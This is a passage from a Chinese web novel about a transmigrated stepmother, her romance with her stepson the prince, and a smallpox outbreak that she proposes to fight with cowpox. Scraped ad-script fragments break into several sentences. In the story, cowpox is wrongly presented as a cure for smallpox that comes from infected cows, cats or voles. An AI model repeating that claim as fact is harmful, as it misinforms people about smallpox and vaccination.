不过经过了一个上午的草药水烫泡,原本洁白的线也泡的泛黄,缝在肌肤上,倒是没有那么的明显。 待那道骇人的伤口完全缝合以后,大夫掏出一张药方递给苏若琳。 “若是不出意外,王爷今晚定然还会发热,王妃按照这个方子去抓药,早中晚各一服,若是三日后不再发热,王爷这伤基本就没问题了。” “好。”苏若琳接过方子,“那他这伤口是不是还要重新处理包扎?” “那是自然。” 送走了大夫以后,苏若琳又回来重新处理萧怀琳左臂的烫伤,待到将那条左臂重新包扎好之后,她一抬头,刚好见到少年郎恬静的脸上正露出温柔的笑意,含情脉脉地望着她。 她不禁伸出手捏了捏少年郎的脸蛋:“以后还敢不敢这么糟蹋自己了?” 末了,又在心里感叹了一声,还挺软的。 少年郎抬起右手,牵过心上人将要收回的指尖,声音低沉:“那你以后不要再躲着我了。” 苏若琳托着脸颊撑在床榻边上,好奇地看着眼前的少年郎:“萧怀琳,我问你一个问题。” 少年郎微微点头:“嗯。” “你为什么害怕别人看见你的身体,害怕别人碰到你?” 这其实是一个很自然而然的问题,不止是苏若琳,若是换成任何一个人见到萧怀琳对外界如此防备,都会有此疑惑。 他那失踪了的三年里,到底经历了些什么? 然而望着心上人探究的目光,少年郎却是低下了头,那一双原本明亮秀丽的凤目变得有些黯淡。 因为...... 身为一个女儿家,怎能让外人看到自己的身体,怎能让外人碰到自己肌肤,怎能如此不知廉耻? 即便他后来恢复了男儿身,可是在他人生的前十三年里,那些规矩礼数,早就已经深深地刻进了他的心里。 三从四德,夫为妻纲...... 精巧的首饰、漂亮的衣裙、步履婆娑的姿态...... 这些深深扎根在骨子里的东西,和他如今所有的一切,几乎都在割裂。 如同一片蚀骨的深渊,拽着他不断沉沦。 有时候,他甚至还会想,他现在这般,究竟算男子还是女子? 有哪个男子会喜欢好看的衣裳首饰,会死守着这些贞洁? 可又有哪个女子会满身腱子肉和伤疤、还能继承王位,浴血沙场...... 这两种截然相反的意识都在奋力拽着他、撕扯他,却又似 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 乎都在厌恶他、推拒他。 他仿佛置身一片泥泞人海,周边无数道声音都在窃窃私语: “快看啊,这是个什么怪物?” “不男不女,真不像话。” 而他拼命地挣扎,撕心裂肺地呐喊:“我不是,我不是怪物!” 那我究竟是女子,还是男子...... “萧怀琳?” 忽得一道声音自远处缥缈而来。 而后,那声音变得愈来愈清晰:“怀琳,怀琳?” 萧怀琳猛地睁开眼睛,大口喘着粗气:“哈,哈......” 心上人白皙的俏脸近在咫尺,而在心上人关切的目光里,还夹杂着一丝若有若无的宠溺。 见到少年郎醒了,苏若琳也是松了口气。 她捏了捏少年郎的脸颊,轻笑着:“看来是麻沸散的药效太大了,说着话都能睡着了。” “这是做噩梦了吗?”苏若琳目光温柔,“那你要不要再睡会?” 萧怀琳心有余悸地摇了摇头,伸出尚存知觉的右臂,牵过心上人的手。 苏若琳见到少年郎居然被吓成了这副模样,心里柔软的一塌糊涂,不禁低下头在他额头落下轻轻一吻,柔声安慰道。 “好,那就不睡了,我再陪你一会。” 萧怀琳望着心上人含笑的眼眸,惊恐的内心竟然就这样渐渐地平静了。 他这辈子最难以启齿、也最庆幸的事,是喜欢上了他的继母。 这样他还能以一个符合人伦的身份活在这世上,而不至于沦落到不男不女的地步。 这样他至少知道自己该干什么,相夫教子亦或建功立业,都不重要,他的目标,是让自己的心上人开心幸福。 那些好看的首饰衣裙,他不喜欢自己穿自己戴,他要把一切美好漂亮的东西都穿戴在心上人的身上,他的心上人越漂亮,他就越开心;若是山河破碎,他的心上人就会有危险,所以他要让这天下太平安定,才能保他的心上人平安。 “若琳......”少年郎忽得唤了一声,声音里还带着一丝鼻音。 “我在。”苏若琳连忙道,“怎么了?” 少年郎抓紧了心上人的玉手,垂下眼眸,小心翼翼道:“我身上的伤疤......是不是很难看?” 他的心上人会不喜欢丑陋的自己吧...... “你为什么会这么想呢?”苏若琳歪着头,笑着捏了捏他的脸颊,“傻瓜。” “那,那你是不是不喜欢......”少年郎握着心上人的手越发得紧了,“会觉得它丑......” 苏若琳缓缓叹了口气。 其实她确实不喜欢,但不是因为它丑,而是因为这些伤疤代表着面前人所经历的苦难。 可是她要怎么跟面前这个玻璃心的小公主解释清楚呢,让她想想...... 啊,有了。 “喜欢一个人,就会喜欢他的全部啊。”苏若琳伸出手指点了点少年郎的鼻尖,含笑道,“你喜欢我,是不是也会喜欢我的全部?” “唔......” 少年郎皱起眉头,他是喜欢他的若琳,所以他会喜欢若琳的全部,但是...... “那你也会喜欢我的全部吗?”少年郎瞪大眼睛,那一双秀丽的凤目里满是惊喜和期待的光,“你,你喜欢我吗?” “我当然喜欢你啊,笨蛋。”苏若琳好看的眉眼轻弯着,“如果我不喜欢你的话,我为什么会在这里陪着你?” 127. 班师回朝 少年郎的眼中顿时满溢出了欣喜的亮光。 “所以。”心上人附到他的耳边悠悠道,“你要不要告诉我,为什么你害怕别人看到你的身体?” 少年郎脸上的笑容凝固了。 眼见着这小子表情变化得这么迅速,苏若琳不禁愣了愣。 “怎么了?” 不方便说么? 萧怀琳陷入了沉默。 他要怎么解释? 如果他向他的心上人坦白,他的心上人会不会也觉得他不男不女,..... 他不说话,苏若琳也知道这也许会是什么难以启齿的事情,因此也不催,就这样静静地等着他回答。 过了半晌,少年郎才张开口,支支吾吾道:“若琳,内个......” “嗯?”苏若琳竖起耳朵听着。 “你说过的吧......”少年郎一双秀丽的凤目中露出几分心虚,声音也越来越小,“每个人都有自己的秘密......” 所以除非到了万不得已的情况下,我们都应该尊重别人的秘密。 这话曾是她当年亲口教给婉枝的,如今却被这小子拿来堵自己的嘴。 苏若琳被气笑了,真就是命运的回旋镖啊,扎回到了自己身上是吧。 她静静地盯着榻上的混蛋,眼看着对方一张白皙的俊脸憋得越来越红。 “你,你别生气......” 末了,苏若琳无奈地叹了口气:“算了,你不想说就不说吧。” 这个秘密和这小子当初口中的“心上人”不一样,若是他害怕扯开心里的那道伤疤,她愿意尊重。 “那,那你不生气吗?”少年郎紧握着心上人的玉手,小心翼翼道。 “不生气。”苏若琳耸了耸肩,这小子都拿回旋镖扎她了,她还能怎么生气。 “等你什么时候愿意跟你说了,再说吧。”她伸出手指戳了戳少年郎的额头。 少年郎白皙的俊脸上这才露出了一丝笑意:“嗯。” 两人在屋里说笑着,而此时原本用来招待苏若琳的院子里,一个锦衣玉袍的俊美少年走进院子里。 在院内打扫的丫鬟见到外男入内,连忙过去阻拦:“请,请问您找谁?” 少年有着一双好看的杏目,只唇角微微勾起,便看得丫鬟心神荡漾:“苏小姐在吗?” 闻言,丫鬟连忙回过神,摇了摇头:“苏小姐并不在此处。” 杨纨枫轻轻歪了一下头,疑惑地问道:“那她去了哪?” “奴,奴婢不知......”丫鬟支支吾吾道,“苏小姐,并未来过院子里......” “并未来过?” 闻言,杨纨枫那双秀丽的杏目微微眯起,眼中闪过一丝危险的神色。 “你的意思是,苏小姐自昨日我军进城后,就没踏足过这座院子?” 丫鬟小心翼翼地点了点头。 那双眯起的杏目中,映射出的目光变得越来越危险,把丫鬟吓了一跳。 “这,这位少爷,您还好吗?” 杨纨枫眨了眨眼,原本目光里的冰冷顿时消失得无影无踪。 他含笑看着面前的丫鬟:“就这样随便透露主子的动向,你不怕我是个坏人吗?” 丫鬟闻言登时心一惊。 是了,为奴为婢者最忌讳多言,尤其是有关主子的近况。 她方才被美色迷了眼,现下细细想来,就方才的话,她死一万次都不够了! “奴,奴婢知道错了!”丫鬟颤颤巍巍地跪了下来,“求您饶奴婢一命吧!” 杨纨枫依旧是那副含笑的模样,他轻声道:“这次我就不追究了,方才我来过这院子,还有我们之间的对话,你烂在肚子里即可。” “不过当然,若是你没有烂在肚子里,不小心又提起来了......”他那张鲜妍的脸上再次闪过一瞬危险的意味,“你这丫头还挺聪明的,应该无需我多言。” “奴,奴婢明白了!”丫鬟连忙道,“奴婢方才什么也没看见,什么也没说!” 杨纨枫这才满意地点了点头,转身离开了院子。 苏若琳完全不知道自己的两个儿子已经注意到了她和萧怀琳的不寻常,直到今夜,她都没有离开萧怀琳的院子。 因为这小子果然如大夫所说的,又发烧了。 少年郎可怜巴巴地抓着她的手,就差一哭二闹三上吊了,她哪里狠得下心离开? 一连数日,她都守在少年郎的身边,眼看着到了第三日,少年郎终于没有再发烧,苏若琳这一颗悬着的心终于放了下来。 大夫说过了,若是三日后不再发烧,那他这伤基本就没什么问题了。 萧怀琳的伤势终于稳定了下来,而此时,朝廷派来的以陕州刺史为首的一众官员已经等候多时了。 对于王爷西伐能够大获全胜一事,朝中即便最初存在异议,随着这一路的捷报传回境内,那些异议已逐渐消失了。 因此接手陕州城的官员们,很早之前就已经选拔好调任出发了。 按理来说,其实萧军在攻下陕州后,再修整个一两日便可以准备班师回朝了。 毕竟这整个大楚都还等着新皇登基呢! 然而王爷于陕州一战时,那整条左臂的惨状有目共睹,自拿下陕州后,又听闻大夫说王爷伤势严重,险些没命,后来又反复发热,高烧不退,这才决定多休整些时日,至少要等到王爷的伤势稳定下来才能启程。 虽然新帝登基很急,但是如今大楚就只剩下这么一个继承人了! 不抗糙啊! 而现在萧怀琳终于不再发烧了,新的陕州刺史也已经交接任命完毕了,他们该回去了。 其实萧怀琳不想走的。 若是萧军能一直这么打下去,他的心上人就能一直跟在他身边,若是他的伤一直不好,那他的心上人更是会日日夜夜守着他。 回去以后,他注定要登基,届时他的一举一动都会被无数双眼睛看着,他要怎么再见到他的心上人? 除非...... 萧怀琳的脑中再次想起了那句话—— “你要冒那天下大不韪之事,就必须先拿下这天下。” 他的心跳豁然加快。 他要......冒那天下大不韪之事了吗? 他的若琳会愿意吗...... 他不知道侯府主母的滋味是什么样的,也不知道皇后的滋味是什么样的,更不知道这两者哪一个更好。 可是他知道,他的若琳向来与常人不同。 她总能......做出与旁人不同的选择。 就这样,萧军在他们惴惴不安的统帅的带领下,再次启程 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了。 带着胜利班师回朝,百姓夹道欢送。 苏若琳本来还是有些担忧萧怀琳那小子的伤势的,但是看到萧军诸将和陕州新任官员们灼热的目光,她只好退却了。 看样子大家都很着急啊。 着急的等这小子回去登基呢。 等这小子日后登基称帝,是不是就得广开后宫,举行选秀了? 也许会有一个运气好的世家女子,会被选中成为他的皇后,他会和后宫的三千佳丽生下很多孩子,给这个王朝延绵子嗣。 ......为什么她的心里有些隐隐作痛呢? 她一早就该知道会是这个结局的。 这个少年的人生起伏跌宕,成大事者皆是如此,她有幸参与这个少年生命中弥足珍贵的一段旅程,成为他心里一个很特殊的存在,已经很难得了。 只是一想到自此她和少年就会渐行渐远,最后形同陌路,她到底还是有些难过啊。 苏若琳睫毛微微颤抖着,归朝的路不甚平坦,马车也晃得剧烈,她一个不小心,头直接磕在了车壁上。 “嘶......” “夫人!”青夭连忙来到她身边,关切地看向那被磕到的地方,“您没事吗?” 青夭身上的伤口虽多,但是因为处理得当,而且远没有萧怀琳左臂上那一刀伤得深的,因此伤势恢复得倒是很快。 至此已经没有大碍了。 她检查了夫人的头,应当是不至于磕青,这才松了口气。 末了一低头,才发现夫人那白皙鲜妍的脸上竟然挂着两行泪痕。 “夫人您,您哭了?” “我没事!”苏若琳连忙擦掉眼泪,朝青夭露出一个勉强的微笑,“撞得有些痛了。” 青夭没有多言,即便她分明在夫人的眼底看到了伤心的神色。 马车陷入了诡异的寂静。 过了片刻,苏若琳开口道:“青夭。” “奴婢在。” “你从小就待在怀琳那孩子身边,一直是他最亲近的大丫鬟,等到了他登基称帝以后......”苏若琳的脸上露出了调笑的神色,“你怎么也得封个正五品六尚吧?” 若是运气再好点,没准还能纳入后宫做妃呢。 青夭平静的脸上并无任何变化:“奴婢的一切命运,皆有王爷决定,雷霆雨露,莫非天恩。” 真是个忠仆啊,苏若琳歪着脑袋想着。 “那你说......”苏若琳望向马车的车窗外,看不清她的神色,“我好歹也算是那小子的继母了,是不是能捞个太后当当呢?” 只是这话一说出口,她就意识到自己失言了。 这话属实是有些大逆不道了。 她一个侯夫人,也许此行回朝蒙受君恩,那小子能把安定侯重新复位杨国公,那她至多也就是个国夫人,居然敢觊觎太后之位? 苏若琳连忙摇了摇头:“罢了,你就当我没说过这句话吧。” 青夭并不擅言辞,也不喜多言,但她在心里腹诽着。 夫人怎么就成了太后了,应当是皇后才对吧? 这是,忽得马车外边响起来一道熟悉的声音:“母亲。” 是杨纨枫的声音。 “纨枫么?”苏若琳的脸上当即露出了一个慈爱的笑容,“有什么事,快进来吧。” 128. 天花 一只骨骼分明的手缓缓伸进了门帘后,手背上覆着几道红印,指腹间又布满了茧子。 苏若琳还记得,这孩子当年被她从柴房里带出来时,手心手背都是细小的伤口,擦伤和划伤不尽其数。 后来问其原因,才知他们每日能吃上的那几口饭、身上穿的那一身破布,都是纨枫那孩子在三伏午后里搬柴,在腊月冰水里洗衣换来的。 因着伤口细小,养好以后倒是没留什么伤疤,只是一到双手用力,亦或情绪激动的时候,那曾经被划伤的位置就会浮上道道红印。 所以...... 苏若琳眨了眨眼,这孩子心情很激动? 纨枫这孩子打小就性子沉稳,很少能有情绪外露的时候,她养了这孩子四年了,别说见到这孩子脸上有过什么表现,就连他那双白皙的手,都很少有浮现出这么明显的红印的时候。 绝对不超过五次。 她这般想着,马车的门帘已然被轻轻掀开,杨纨枫那张妍丽的脸上带着和煦的微笑,缓缓走进车内。 长得真漂亮。 苏若琳由衷地感叹,不愧是我儿子。 她依稀还记得来到这个世界前,原书里的内容。 说是这两个孩子最后被卖到了南风馆,沦落风尘,折辱一生。 想想就令人心痛。 而现在,这两个孩子一个步入官场、平步青云;另一个云游四海,美名远扬,他们未来的前路光明璀璨,日子也过得开心幸福,她真得很欣慰。 杨纨枫刚一进马车,一抬头便迎上了母亲慈爱欣慰的目光,原本紧张的心情这才有了些许平缓。 青夭给他倒了一杯茶,他伸手接过,而后定定地看着青夭。 这个丫鬟,从前大哥在侯府时便一直在大哥身边贴身侍奉,后来又随大哥去了宁安王府,此次出征依旧随军一起同行。 当真是深得重用啊。 青夭奇怪道:“敢问二少爷,可是奴婢脸上有什么东西?” 用得还是昔年在侯府时的称呼。 杨纨枫微微一笑:“前些日子突厥来袭,你拼死保护母亲的事情,我都听说了,如今身上的伤可好些了?” “保护夫人是奴婢的分内之职。”青夭的脸上依旧是那副镇定的模样,不卑不亢道,“奴婢的伤已无大碍,谢二少爷的关心。” 杨纨枫点了点头,算是回应。 苏若琳含笑望着自家成器的儿子:“是有什么事吗?还是单纯想来找母亲聊聊天?” “都是吧。”杨纨枫看着母亲含笑的模样,也不禁绽放出了一个明媚的笑容。 “好。”苏若琳点了点头,温柔地看着自家儿子,“什么事,说吧,我都听着。” 杨纨枫没有回答,却是扭过头看向了守在边上的青夭。 苏若琳:嗯? 什么事情居然还要撇开丫鬟么? 看样子这事好像也不太小啊。 “你出去吧。”苏若琳朝青夭摆了摆手。 后者当即会意,行了一礼便离开了马车。 等到人出去了以后,苏若琳这才问道:“到底是什么事,这么神神秘秘的?” 她疑惑地看着自家儿子,而后,就看到自家儿子那张白皙漂亮的脸蛋逐渐泛起了红晕。 苏若琳:? 怎么,她乖儿子终于有看上的小丫头了? 她终于也要体验一把上门提亲的感觉了吗! 这孩子的聘礼她还没准备过呢,这谁想到这孩子这么早就开窍了啊! “就是......”杨纨枫将手举到嘴边轻咳了一声,支支吾吾道,“儿子先前去了您的院子找过您,然后听说您在陕州城的这些日子,一直都是呆在大哥的院子里,没回去过......” 他那张鲜研的俏脸涨得通红,眼中的神色却是异常坚定:“所以,母亲您和大哥是......” 苏若琳眨了眨眼,后背迅速冒起了冷汗。 完了,城门失火了我去! 让她想想,她要怎么跟儿子掩饰他母亲和他大哥搞在一起的事实。 让她毕加思索啊,毕加思索...... 啊,有了! “哦,是这事啊。”苏若琳这般说着,脸上露出了些许无奈的神色,“你也知道,陕州一战时你大哥受了那么重的伤,前些日子身子一直发热,反反复复的。” “这孩子一发烧就说胡话,我实在是不放心,这些天都守在这孩子身边,好不容易看着他烧退了,结果军队这就要启程了。” 苏若琳悠悠地叹了口气:“身子这才刚好一点,军队又要开始跋涉,也不知道这孩子吃不吃得消。” 闻言,杨纨枫微微一愣。 就......只是这样吗? 可他前些日子开完会的时候分明看到,母亲和大哥那么亲密...... 还有大哥的那声“若琳”,喊得也太...... 而且,如果母亲和大哥真得没什么,那么曾祖为什么会特意留下他和二哥,让他们看到这些? 杨纨枫越想越乱,他觉得这其中疑点太多,根本没办法用一句简单的“放心不下”来解释,可是他也不愿意怀疑母亲...... 彼时他面前的苏若琳见到儿子陷入了沉思,后背的冷汗越来越密,连忙开口转移话题:“那你当时到我的院子里找我,是有什么事吗?” 杨纨枫闻言回过神:“嗯......毕竟母亲在陕州的那场袭击中受了惊,儿子担心母亲......” 他说这话时脸不红心不跳,苏若琳不疑有他。 苏若琳这才松了口气,含笑道:“放心吧,我没事的。” 这孩子实在是太贴心了,贴心到她害怕。 “您没事就好。”杨纨枫微微颔首,隐藏起眼底的情绪。 “你这孩子,我还以为你有什么事呢,刚才说话的时候脸都红了,我啊还以为......”苏若琳的脸上露出了一个高深莫测的微笑,“还以为你这孩子是不是看上了哪家姑娘,不好意思说呢!” “啊?!”杨纨枫那一双好看的杏目顿时瞪得圆圆的,一张俏脸烫得好似能火炉一般,就连说话都变得结巴了,“我,我没......” 苏若琳笑得合不拢嘴:“那你这孩子可得抓紧些咯,你母亲我啊,还等着抱孙子呢!” “母亲......!” 马车里传来了肆意的笑声,听起来格外热闹。 就连守在外边 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的青夭都不禁微微勾起了嘴角。 这一路西进,来时步履跋涉、栉风沐雨;凯旋而归时,终于能够轻松些了。 · 归京的路途自然是顺利了,大家的心情都愉快了许多。 如果没有遇上天花的话。 皋阳城城内有一条大河,此河流以西南的雪山为源头,一路绵延向东北,滋养了无数水土,被誉为皋阳的母亲河。 这条河内前些时日出现了几具浮尸,尸体在水中已经泡了许久,已经无从考证被抛下的时间和地点了,观其衣着,应是流民。 有百姓将此事上报以后,皋阳城的官员派人将浮尸捞了上来。 灾难便是从这时候开始的。 待到萧军一路往东途径此城时,该城已经自行封闭,萧怀琳派人进去通传,那人慌张地回来了:“启禀王爷,皋阳如今天花肆虐,不得已闭城抗灾,请我军绕行!” 此言一出,全军都不由得瞪大了眼睛,有些站位靠前的,不由自主地往后退了半步。 天花! 居然是那个魔鬼瘟疫! 萧怀琳眯起一双凤目,淡淡地问道:“天花侵袭皋阳多久了?” “回王爷。”那士兵还在心有余悸地发抖,“听闻皋阳县令所言,已经一月有余了。” 此言一出,满军哗然。 一月有余啊! 那皋阳岂不是已经成了一座死城! 萧怀琳的脸上未见喜怒,只是周身的气势逐渐散发出了一丝寒意:“朝中没有派人过来?” “派了派了!”那士兵忙道,“因着朝中派了太医过来,所以皋阳如今还在抵抗,才没有完全变成一座死城!” 在这个时代,尚未能找到任何手段预防和医治天花,只要一地感染了天花,那么在人们眼里,此地便已经成为了死地。 听得士兵的汇报,将士们窃窃私语着,有将军已经请命,希望王爷绕行归京。 萧怀琳低着头沉思了片刻:“先退后五里,安营扎寨。” 萧军后退安营扎寨时,苏若琳正在马车内午睡,不知过了多久,当她缓缓睁开眼睛时,见到马车居然已经停下了。 “这是到哪了?”她揉了揉惺忪的睡眼,声音中还带着一丝沙哑。 青夭忙给她倒了一杯茶水:“回夫人,我军如今正在皋阳城外五里处安营。” “嗯?”苏若琳仍旧有些迷糊,“怎么不进城?” 不是早就打下来了吗? “皋阳城内感染了天花,无法进城。”青夭回道。 闻言,苏若琳登时就被吓醒了。 天花?! 这个年代,天花不是能和死神魔鬼画等号的东西吗! “那天花是怎么来的?就只有皋阳感染了天花吗?其他地方呢?” 苏若琳一连串的问题扔了过来,问得青夭措手不及。 “这......奴婢也不知晓。” “那萧怀琳那小子现在在哪呢?” “王爷应当是......在开会吧?”青夭迟疑道。 毕竟出了这么大的事,总得召集军师们想想办法。 苏若琳连忙从踏板上坐起来:“把我的袍子拿过来,我去找他。” 129. 牛痘 苏若琳找到萧怀琳的时候,他正在祝贤盛的军帐里开会。 半个时辰前,萧军才刚在此地安完营扎好寨,萧怀琳就将所有军师谋士召了来,一同商量对策。 可当众人难得齐聚一堂,共同献计时,却无人不低头沉思,面露愁容。 若是行军打仗,他们自有千万条计谋,可是如今他们要面对的,可是天花啊。 此时此刻,摆在他们面前的并非人祸,而是天灾。 与天抗衡,何其猖狂! 甚至于有谋士直言:“启禀王爷,此天花乃是上天降临凡间,用以警醒世人。” “凡世有穷凶极恶之地,为天所不容,因而降下天花洗涤世间,下官以为,我军不应违逆天意啊!” 话音方落,萧怀琳连眼皮子都没抬:“拖下去,斩了。” 他竟不知,自己的幕僚里边还有个神棍。 待到那谋士的求饶叫喊声逐渐远去,军帐内也彻底陷入了死寂。 不知寂静了多久,忽得帐内洒进来一束亮光,众人纷纷抬起头朝那束光的来处看去。 随后,便见到一只纤纤玉手掀开了军帐厚重的门帘,一个花容月貌、国色天香的貌美女子走了进来。 只是待那绝色女子走进军帐后,便立即扶着纤细的腰肢大口地喘着粗气,看起来累得够呛。 想来是一路跑过来的。 萧怀琳见她这般模样,连忙起身来到她面前,神情关切:“出什么事了,这么着急?” “我听说,皋阳,感染了天花?”见到她的人形扶架走了过来,苏若琳扶着腰的手一松,转而去扶住少年郎的肩膀来借力。 “嗯。”萧怀琳点了点头,朝一旁的侍卫递了个眼色,“我们正在说这事。” 侍卫当即去桌上倒了杯茶水,本想着直接递给苏若琳,却被萧怀琳半道截了下来。 随后萧怀琳亲手将茶递到心上人的手边,温声道:“小心些,是热的。” 苏若琳自他手中接过茶水,仰起头一饮而尽,却没成想被热水呛到了,猛烈地咳嗽着。 萧怀琳只好拍着心上人的后背给她顺气,无奈道:“都说了小心些。” 末了,苏若琳这才抬起头,焦急地看着萧怀琳:“那你们聊得怎么样了,可有找到对策?” “目前还没有。”萧怀琳揉了揉眉心。 这可是天花,能商量出什么办法呢...... 此时,原本正在低头沉思的杨纨枫见到母亲进来,顿时抬起头看向母亲和大哥,眼中闪烁着别样的情绪。 看到大哥在给母亲顺气,明明是一个很正常的举动,可他也觉得哪里有些奇怪。 嘶......他现在可真是有些惊弓之鸟了。 忽得,他身旁的杨纨玦站起身道:“母亲,我想进城。” 听到这孩子想去送死,苏若琳好不容易喘回来的一口气差点又背了过去。 她那一双好看的眼眸直直地瞪着老二,问道:“你去了能做什么?” 杨纨玦被母亲盯得发毛,低下头心虚道:“帮忙处理尸体,隔离群众,保护那些还没有感染天花的人......” 说到后面,他那本就不响亮的声音越来越小,底气也越来越不足。 果不其然,苏若琳冷笑了一声:“天花肆虐一月有余了,怕是活着的人都没剩多少了,你还指望着能有没感染天花的?” 杨纨玦低下头,陷入了沉默。 苏若琳环顾帐内萎靡的众人,深深地吸了口气,缓缓道:“我曾见到过一个古方子,说是牛痘可治天花。” 此言一出,满堂皆惊。 治,治什么? 治天花?! 她说有东西能治天花!!! 一个军医拍案而起,目眦欲裂地看着她:“你,你说什么,什么可治天花?!” 那可是天花啊! 被称作鬼神降世的天花!!! 就连萧怀琳都难以置信地看着心上人,随后,他连忙吩咐侍卫去搬了把椅子,让心上人坐下仔细说。 此时,帐内所有人的目光都黏在了苏若琳的身上,生怕她下一刻就没影了。 这还是苏若琳第一次这么备受瞩目。 军医已经急得要跺脚了,看到苏若琳的屁股终于沾上了椅子,他连忙问道:“苏小姐,您方才说的那个‘牛痘’为何物?” 她清了清嗓子,将自己前世的经验当做古方子编了出来:“那个方子上说的是,若是牛、猫亦或田鼠感染了天花,可称之为牛痘,将牛痘种在人身上,可治天花。” 牛猫身上的天花?! 听起来似是有几分道理。 然毕竟人命关天,军医不敢冒险,忙追问道:“那敢问苏小姐,那古方子如今在何处?” 苏若琳叹了口气:“那方子太老了,我拿到手时已经脆得不行,不过匆匆扫了几眼,就立即碎成了粉末。” 她说得真切,众人不疑有他。 “那......”有人迟疑道,“若是这方子是假的可怎么办,牛身上的天花也是天花啊!” 若是这方子是假的,人接种了牛痘没能救下来,那么一定会死。 “这有何惧?”有人道,“皋阳城内感染天花者不在少数,横竖他们也是死,定然有愿意种牛痘的!” 这倒是没错。 萧怀琳当即传令军中将士,命他们速去周边城池,调集五百头牛过来,好为种牛痘做准备。 此后众人就依靠着牛痘一事,才终于仔细地商议起了应对天花肆虐的对策。 等到帐内商议完此事,已近傍晚了。 会议后面聊得东西太深,什么在哪架设起多大的围栏,派多少人何时驻守,临近多少座城各调集多少物资之类的...... 苏若琳只管提起牛痘这个东西,其他的她也没能力去管,因此会开到半途就离开去用膳了。 只是她也没想到这个会议能开那么久。 等到她用完午膳,又和青夭搬进了扎好的军帐里,老爷子的帐内仍旧一个出来的人都没有,她也不禁有些着急了。 “怎么这会开这么久?”苏若琳掀开军帐的门帘,不安地看着祝贤盛的军帐。 “商议大事,兴许总是要久一些的。”青夭看着夫人心神不宁的模样,在心里默默地又记下了一次。 第十七次了,这是夫人今日午膳回来后,第十七次掀开门帘了。 苏若琳叹了口气:“算了,你去老爷子帐里知会一声,让萧怀琳开完会来找我吧。” 末了又摇了摇头:“还是别了,他开会开了一整天,肯定饿了,还是让他先去用膳吧。” 她刚要放下门帘,却忽得听到青夭道:“出来了!” 苏若琳连忙朝老爷子军帐看过去,果然人们陆陆续续的都从军帐里走了出来。 萧怀琳和纨玦纨枫他们三个是最后出来的,哥仨在军帐门口聊了好一会,纨玦和纨枫不约而同地瞥向她的军帐,刚好和她看了个对眼。 而后两兄弟迅速扭过头,往反方向跑远了。 苏若琳:? 怎么个意思? 好在和纨玦纨枫分别后,萧怀琳倒是往她这边走了过来。 见到她张望的模样,俊俏的脸上露出了一丝温 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 柔的微笑。 等他走进来后,苏若琳连忙戳了戳他:“哎,你们仨刚才在那聊什么呢?” “怎么那俩小子看见我就跑了?” “啊......”萧怀琳没有回答她的问题,反而道,“明日韩龙领着军队主力回京,届时你跟着一起回去。” “那你呢?”苏若琳不由得问道。 话刚说出口,苏若琳就明白了。 她不可思议地瞪大眼睛:“你要留下来......不,你要进城是不是!” 萧怀琳轻咳了一声,心虚地瞥向别处:“我会注意安全的。” “还注意安全?!”苏若琳恨不得给这臭小子来一棒子,“你进了疫城还想着注意安全?!” “......好啊,我知道了。”苏若琳冷笑了一声,“那俩小子看见我就跑,是因为他俩也要进城是吧?” 萧怀琳不由得低下头看自己的足尖,不敢直视心上人的脸。 “好好好,你们哥仨真是好样的啊。”苏若琳伸出手鼓掌,脸上的笑容愈加灿烂,只是眼底的神色却是愈加的冰冷,“翅膀一个比一个硬啊,都学会了先斩后奏了是吧!” “若琳,你,你别生气......”萧怀琳无措地看着心上人,伸出手想要去安抚她的肩。 然后被苏若琳打了下来。 她狠狠地瞪着眼前的少年郎:“别碰我!” 萧怀琳悻悻地收回手。 他有点后悔了。 他就应该把纨玦和纨枫一起带过来,好歹挨训兄弟几个一起挨训啊...... 但好在,他没来得及喊,苏若琳这就打算帮他喊了。 “青夭,你去把那两个混蛋给我带过来!” 怪哉古代父母惩罚孩子时经常会体罚呢,她穿越过来时,几个孩子都乖巧得要命,因此她别说体罚了,就连罚都没过。 现在不一样了,她真后悔没带个打手心的木板过来啊! 真是不把这帮王八犊子抽一顿她解不了气! 等青夭出去以后,她就开始翻箱倒柜地找能用来体罚的东西。 萧怀琳见状忙跟上前:“若琳,你在找什么?” “我帮你一起找好不好?” 苏若琳闻言这才抬起头。 她刚才真是气疯了,这混小子不说话,她都把这混蛋给忘了。 她看着面前的少年郎,笑得格外嫣然。 然而萧怀琳的背后却无端冒起冷汗:“若,若琳......” “跪下!” 一道冷喝朝着萧怀琳当头砸了过来,给他吓得连忙跪了下来。 他还从来见过心上人生这么大气。 “若琳你消消气......” 随后心上人便揪着他的耳朵,附在他耳边轻声道:“乖乖闭上你的嘴。” 此时此刻,面临着心上人和母亲的盛怒,情郎和儿子两个原本矛盾重重的角度难得达到了高度统一,萧怀琳当即老实地闭上了嘴。 他低下头可怜兮兮地祈祷着,纨玦和纨枫快来吧,别让他一个人受苦啊...... ...... 当杨纨玦和杨纨枫两兄弟来到母亲的军帐里时,一掀开门帘,便见到他们的大哥跪在母亲的身前,而他们的母亲正坐在椅子上,含笑望着他们:“哟,我的乖儿子们来啦。” 两兄弟当即水灵灵地跪到了大哥旁边。 而苏若琳则从桌子上拿出了一块木板——这还是她让萧怀琳那混小子从木匣上掰下来的。 她眉眼弯弯,笑得明媚灿烂:“让我看看,是哪个崽种要第一个被打手心呢?” 130. 再遇贺章之 板子第一个落到手上的是杨纨枫。 这混小子不声不响地,结果居然也要去冒这个险,该打! 第二个落到手上的是杨纨玦。 这小混蛋贼心不死,就想着去送命是吧,该打! 最后一个才是已经跪了半天的萧怀琳。 苏若琳居高临下地看着少年郎伸出来的左手,冷冷道:“换只手。” 这混蛋左臂上还有伤,又想着等牵扯到伤口,再用苦肉计是吧! 萧怀琳苦着一张脸:“右手还得握笔握剑呢......” “你仗都打完了,握什么剑!”苏若琳喝道,“换手!” 好大儿兼情郎老老实实地把右手伸了出来。 “嘶......” 等到厚重木板把三个小混蛋的手挨个拍肿了以后,苏若琳这才揉着发酸的手腕,重新坐回了椅子上。 末了,她忽然想到一件事,瞪大眼睛看着三个小混蛋:“老爷子不会也要进城吧?!” “那没有!”三个小混蛋连忙摇头。 